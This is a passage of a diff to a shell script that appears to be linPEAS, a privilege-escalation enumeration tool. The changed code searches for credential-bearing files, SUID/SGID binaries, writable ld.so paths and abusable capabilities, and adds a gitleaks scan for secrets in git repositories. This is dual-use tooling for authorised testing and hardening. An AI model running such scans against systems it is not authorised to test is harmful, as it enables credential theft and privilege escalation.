2>/dev/null | sed -${E} "s,groups\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"https-xampp\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "https-xampp.conf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "https-xampp\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,https-xampp\.conf$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"https\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "https.conf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "https\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,https\.conf$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"iis6\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "iis6.log"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "iis6\.log$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,iis6\.log$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"index\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "index.dat"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "index\.dat$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,index\.dat$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"my\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "my.cnf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "my\.cnf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,my\.cnf$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"my\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "my.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "my\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,my\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"ntuser\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ntuser.dat"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "ntuser\.dat$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ntuser\.dat$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"pagefile\.sys$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pagefile.sys"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "pagefile\.sys$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pagefile\.sys$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"printers\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "printers.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "printers\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,printers\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"recentservers\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "recentservers.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "recentservers\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,recentservers\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"scclient\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "scclient.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "scclient\.exe$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,scclient\.exe$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"scheduledtasks\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "scheduledtasks.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "scheduledtasks\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,scheduledtasks\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"security\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "security.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "security\.sav$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,security\.sav$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"server\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "server.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "server\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,server\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"setupinfo$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "setupinfo"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "setupinfo$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,setupinfo$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"setupinfo\.bak$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "setupinfo.bak"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "setupinfo\.bak$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,setupinfo\.bak$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"sitemanager\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sitemanager.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "sitemanager\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sitemanager\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"sites\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sites.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "sites\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sites\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"software$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "software"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "software$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,software$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"software\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "software.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "software\.sav$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,software\.sav$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"sysprep\.inf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sysprep.inf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "sysprep\.inf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sysprep\.inf$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"sysprep\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sysprep.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "sysprep\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sysprep\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"system\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "system.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "system\.sav$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,system\.sav$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattend\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.txt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattend\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattend\.txt$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattend\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattend\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattend\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattended\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattended.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattended\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattended\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"wcx_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wcx_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "wcx_ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,wcx_ftp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"ws_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ws_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "ws_ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ws_ftp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"web.*\.config$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "web*.config"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "web.*\.config$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,web.*\.config$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"winscp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "winscp.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "winscp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,winscp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"wsl\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wsl.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "wsl\.exe$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,wsl\.exe$,${SED_RED},"; done; echo ""; fi -if [ "$PSTORAGE_OTHER_INTERESTING_FILES" ] || [ "$DEBUG" ]; then - print_2title "Analyzing Other Interesting Files Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.bashrc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".bashrc"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.bashrc$" | while read f; do ls -ld "$f" | sed -${E} "s,\.bashrc$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.google_authenticator$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".google_authenticator"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.google_authenticator$" | while read f; do ls -ld "$f" | sed -${E} "s,\.google_authenticator$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"hosts\.equiv$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "hosts.equiv"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "hosts\.equiv$" | while read f; do ls -ld "$f" | sed -${E} "s,hosts\.equiv$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.lesshst$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".lesshst"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.lesshst$" | while read f; do ls -ld "$f" | sed -${E} "s,\.lesshst$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.plan$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".plan"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.plan$" | while read f; do ls -ld "$f" | sed -${E} "s,\.plan$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.profile$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".profile"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.profile$" | while read f; do ls -ld "$f" | sed -${E} "s,\.profile$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.recently-used\.xbel$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".recently-used.xbel"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.recently-used\.xbel$" | while read f; do ls -ld "$f" | sed -${E} "s,\.recently-used\.xbel$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.rhosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".rhosts"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.rhosts$" | while read f; do ls -ld "$f" | sed -${E} "s,\.rhosts$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING_FILES\" | grep -E \"\.sudo_as_admin_successful$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".sudo_as_admin_successful"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING_FILES" | grep -E "\.sudo_as_admin_successful$" | while read f; do ls -ld "$f" | sed -${E} "s,\.sudo_as_admin_successful$,${SED_RED},"; done; echo ""; +if [ "$PSTORAGE_OTHER_INTERESTING" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Other Interesting Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.bashrc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".bashrc"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.bashrc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.bashrc$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.google_authenticator$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".google_authenticator"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.google_authenticator$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.google_authenticator$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"hosts\.equiv$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "hosts.equiv"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "hosts\.equiv$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,hosts\.equiv$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.lesshst$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".lesshst"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.lesshst$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.lesshst$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.plan$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".plan"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.plan$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.plan$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.profile$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".profile"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.profile$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.profile$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.recently-used\.xbel$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".recently-used.xbel"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.recently-used\.xbel$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.recently-used\.xbel$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.rhosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".rhosts"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.rhosts$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.rhosts$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.sudo_as_admin_successful$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".sudo_as_admin_successful"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.sudo_as_admin_successful$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.sudo_as_admin_successful$,${SED_RED},"; done; echo ""; fi +if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then + print_2title "Checking leaks in git repositories" + printf "%s\n" "$PSTORAGE_GITHUB" | while read f; do + if echo "$f" | grep -Eq ".git$"; then + git_dirname=$(dirname "$f") + if [ "$MACPEAS" ]; then + execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_MACOS" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'" + else + execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_LINUX" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'" + fi + fi + done +fi + fi echo '' echo '' @@ -3502,20 +4223,16 @@ check_critial_root_path(){ - - - - ##-- IF) SUID print_2title "SUID - Check easy privesc, exploits and write perms" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid" if ! [ "$STRINGS" ]; then echo_not_found "strings" fi if ! [ "$STRACE" ]; then echo_not_found "strace" fi -suids_files=$(find / -perm -4000 -type f ! -path "/dev/*" 2>/dev/null) +suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null) for s in $suids_files; do s=$(ls -lahtr "$s") #If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder @@ -3541,7 +4258,7 @@ for s in $suids_files; do if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW}," else - echo "$s (Unknown SUID binary)" | sed -${E} "s,/.*,${SED_RED}," + echo "$s (Unknown SUID binary!)" | sed -${E} "s,/.*,${SED_RED}," printf $ITALIC if ! [ "$FAST" ] && [ "$STRINGS" ]; then $STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do @@ -3580,8 +4297,8 @@ echo "" ##-- IF) SGID print_2title "SGID" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid" -sgids_files=$(find / -perm -2000 -type f ! -path "/dev/*" 2>/dev/null) +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid" +sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null) for s in $sgids_files; do s=$(ls -lahtr "$s") #If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder @@ -3639,63 +4356,75 @@ done; echo "" ##-- IF) Misconfigured ld.so -print_2title "Checking misconfigurations of ld.so" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#ld-so" -printf $ITALIC"/etc/ld.so.conf\n"$NC; -cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" -cat /etc/ld.so.conf 2>/dev/null | while read l; do - if echo "$l" | grep -q include; then - ini_path=$(echo "$l" | cut -d " " -f 2) - fpath=$(dirname "$ini_path") - if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi - printf $ITALIC"$fpath\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" - for f in $fpath/*; do - printf $ITALIC" $f\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" - cat "$f" | grep -v "^#" | sed -${E} "s,$ldsoconfdG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" - done - fi -done -echo "" - -##-- IF) Capabilities -print_2title "Capabilities" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities" -echo "Current capabilities:" -(capsh --print 2>/dev/null | grep "Current:" | sed -${E} "s,$capsB,${SED_RED_YELLOW}," ) || echo_not_found "capsh" -(cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status" -echo "" -echo "Shell capabilities:" -(capsh --decode=0x"$(cat /proc/$PPID/status 2>/dev/null | grep CapEff | awk '{print $2}')" 2>/dev/null) || echo_not_found "capsh" -(cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$PPID/status" -echo "" -echo "Files with capabilities (limited to 50):" -getcap -r / 2>/dev/null | head -n 50 | while read cb; do - capsVB_vuln="" - - for capVB in $capsVB; do - capname="$(echo $capVB | cut -d ':' -f 1)" - capbins="$(echo $capVB | cut -d ':' -f 2)" - if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then - echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW}," - capsVB_vuln="1" - break +if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then + print_2title "Checking misconfigurations of ld.so" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld-so" + printf $ITALIC"/etc/ld.so.conf\n"$NC; + cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + cat /etc/ld.so.conf 2>/dev/null | while read l; do + if echo "$l" | grep -q include; then + ini_path=$(echo "$l" | cut -d " " -f 2) + fpath=$(dirname "$ini_path") + if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + printf $ITALIC"$fpath\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + for f in $fpath/*; do + printf $ITALIC" $f\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + cat "$f" | grep -v "^#" | sed -${E} "s,$ldsoconfdG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + done fi done - - if ! [ "$capsVB_vuln" ]; then - echo "$cb" | sed -${E} "s,$capsB,${SED_RED}," - fi + echo "" +fi - if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then - echo "$cb is writable" | sed -${E} "s,.*,${SED_RED}," +##-- IF) Capabilities +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Capabilities" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities" + if [ "$(command -v capsh)" ]; then + echo "Current env capabilities:" + (capsh --print 2>/dev/null | grep "Current:" | sed -${E} "s,$capsB,${SED_RED_YELLOW}," ) || echo_not_found "capsh" + echo "Current proc capabilities:" + (cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status" + echo "" + echo "Parent Shell capabilities:" + (capsh --decode=0x"$(cat /proc/$PPID/status 2>/dev/null | grep CapEff | awk '{print $2}')" 2>/dev/null) || echo_not_found "capsh" + else + echo "Current capabilities:" + cat /proc/self/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|0000003fffffffff,${SED_GREEN},g" + echo "" + echo "Shell capabilities:" + cat /proc/$PPID/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|0000003fffffffff,${SED_GREEN},g" fi -done -echo "" + echo "" + echo "Files with capabilities (limited to 50):" + getcap -r / 2>/dev/null | head -n 50 | while read cb; do + capsVB_vuln="" + + for capVB in $capsVB; do + capname="$(echo $capVB | cut -d ':' -f 1)" + capbins="$(echo $capVB | cut -d ':' -f 2)" + if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then + echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW}," + capsVB_vuln="1" + break + fi + done + + if ! [ "$capsVB_vuln" ]; then + echo "$cb" | sed -${E} "s,$capsB,${SED_RED}," + fi + + if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then + echo "$cb is writable" | sed -${E} "s,.*,${SED_RED}," + fi + done + echo "" +fi ##-- IF) Users with capabilities if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then print_2title "Users with capabilities" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities" if [ -f "/etc/security/capability.conf" ]; then grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," else echo_not_found "/etc/security/capability.conf" @@ -3703,10 +4432,23 @@ if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then echo "" fi +##-- IF) AppArmor profiles to prevent suid/capabilities abuse +if ! [ "$SEARCH_IN_FOLDER" ]; then + if [ -d "/etc/apparmor.d/" ] && [ -r "/etc/apparmor.d/" ]; then + print_2title "AppArmor binary profiles" + ls -l /etc/apparmor.d/ 2>/dev/null | grep -E "^-" | grep "\." + echo "" + fi +fi + ##-- IF) Files with ACLs print_2title "Files with ACLs (limited to 50)" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#acls" -( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls" +if ! [ "$SEARCH_IN_FOLDER" ]; then + ( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | 